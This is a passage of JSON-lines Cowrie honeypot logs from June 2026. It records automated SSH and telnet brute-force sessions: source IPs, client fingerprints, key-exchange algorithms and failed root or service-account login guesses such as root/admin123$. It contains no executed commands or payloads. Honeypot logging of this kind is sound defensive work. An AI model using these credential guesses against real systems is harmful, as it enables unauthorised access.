16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:41.359028Z","src_ip":"103.153.68.219","session":"4af8aa4a71f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qwerty7","message":"login attempt [root/1qwerty7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:42.132306Z","src_ip":"103.153.68.219","session":"4af8aa4a71f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:43.393292Z","src_ip":"103.153.68.219","session":"4af8aa4a71f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.242","src_port":60390,"dst_ip":"159.203.135.109","dst_port":22,"session":"c19d662687b5","protocol":"ssh","message":"New connection: 103.84.236.242:60390 (159.203.135.109:22) [session: c19d662687b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:58.267966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:58.272936Z","src_ip":"103.84.236.242","session":"c19d662687b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:58.512421Z","src_ip":"103.84.236.242","session":"c19d662687b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"asdfghjkl","message":"login attempt [deploy/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:05:59.500573Z","src_ip":"103.84.236.242","session":"c19d662687b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:00.741931Z","src_ip":"103.84.236.242","session":"c19d662687b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.47.28","src_port":52176,"dst_ip":"10.17.0.5","dst_port":22,"session":"aee55f440b61","protocol":"ssh","message":"New connection: 87.106.47.28:52176 (10.17.0.5:22) [session: aee55f440b61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:05.440831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:05.445772Z","src_ip":"87.106.47.28","session":"aee55f440b61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:05.537074Z","src_ip":"87.106.47.28","session":"aee55f440b61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Q11111111","message":"login attempt [root/Q11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:05.942245Z","src_ip":"87.106.47.28","session":"aee55f440b61","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:07.037985Z","src_ip":"87.106.47.28","session":"aee55f440b61","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":34918,"dst_ip":"10.17.0.5","dst_port":22,"session":"18c1bb0cb456","protocol":"ssh","message":"New connection: 27.71.230.31:34918 (10.17.0.5:22) [session: 18c1bb0cb456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:22.498017Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:22.703651Z","src_ip":"27.71.230.31","session":"18c1bb0cb456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:22.788841Z","src_ip":"27.71.230.31","session":"18c1bb0cb456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123$","message":"login attempt [root/admin123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:25.368852Z","src_ip":"27.71.230.31","session":"18c1bb0cb456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.78.204.254","src_port":47202,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ce7dff4a92b","protocol":"ssh","message":"New connection: 45.78.204.254:47202 (10.17.0.5:22) [session: 1ce7dff4a92b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:25.610736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:25.615190Z","src_ip":"45.78.204.254","session":"1ce7dff4a92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.3","message":"Connection lost after 4.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:26.788237Z","src_ip":"27.71.230.31","session":"18c1bb0cb456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:31.808767Z","src_ip":"45.78.204.254","session":"1ce7dff4a92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":48120,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7b00ad0b273","protocol":"telnet","message":"New connection: 172.81.62.90:48120 (159.203.135.109:23) [session: d7b00ad0b273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:33.018055Z"}
{"eventid":"cowrie.login.failed","username":"prueba","password":"prueba2024","message":"login attempt [prueba/prueba2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:33.762104Z","src_ip":"45.78.204.254","session":"1ce7dff4a92b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.4","message":"Connection lost after 9.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:35.010321Z","src_ip":"45.78.204.254","session":"1ce7dff4a92b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.85.247.230","src_port":2466,"dst_ip":"10.17.0.5","dst_port":22,"session":"848e44c45315","protocol":"ssh","message":"New connection: 177.85.247.230:2466 (10.17.0.5:22) [session: 848e44c45315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:38.433523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:38.437331Z","src_ip":"177.85.247.230","session":"848e44c45315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:38.540838Z","src_ip":"177.85.247.230","session":"848e44c45315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Dev@2026","message":"login attempt [root/Dev@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:38.991441Z","src_ip":"177.85.247.230","session":"848e44c45315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:40.097918Z","src_ip":"177.85.247.230","session":"848e44c45315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":1216,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3115cd3bffa","protocol":"ssh","message":"New connection: 36.92.41.115:1216 (10.17.0.5:22) [session: c3115cd3bffa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:40.780024Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:40.834171Z","src_ip":"36.92.41.115","session":"c3115cd3bffa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:41.088538Z","src_ip":"36.92.41.115","session":"c3115cd3bffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"abc123","message":"login attempt [es/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:42.102669Z","src_ip":"36.92.41.115","session":"c3115cd3bffa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":55726,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3eb94d20b11","protocol":"ssh","message":"New connection: 102.213.34.99:55726 (159.203.135.109:22) [session: f3eb94d20b11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:42.550426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:42.555128Z","src_ip":"102.213.34.99","session":"f3eb94d20b11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:42.725756Z","src_ip":"102.213.34.99","session":"f3eb94d20b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":44810,"dst_ip":"10.17.0.5","dst_port":22,"session":"d499e8f21cb2","protocol":"ssh","message":"New connection: 181.188.176.242:44810 (10.17.0.5:22) [session: d499e8f21cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:42.823839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:42.833286Z","src_ip":"181.188.176.242","session":"d499e8f21cb2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:43.001496Z","src_ip":"181.188.176.242","session":"d499e8f21cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:43.360517Z","src_ip":"36.92.41.115","session":"c3115cd3bffa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zhang@123","message":"login attempt [root/Zhang@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:43.442066Z","src_ip":"102.213.34.99","session":"f3eb94d20b11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Asd123!","message":"login attempt [root/Asd123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:43.706915Z","src_ip":"181.188.176.242","session":"d499e8f21cb2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:44.621155Z","src_ip":"102.213.34.99","session":"f3eb94d20b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:44.877563Z","src_ip":"181.188.176.242","session":"d499e8f21cb2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":35112,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6fdf60c3d38","protocol":"ssh","message":"New connection: 102.210.148.92:35112 (159.203.135.109:22) [session: f6fdf60c3d38]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:51.569851Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:06:51.573732Z","src_ip":"102.210.148.92","session":"f6fdf60c3d38","protocol":"ssh"}
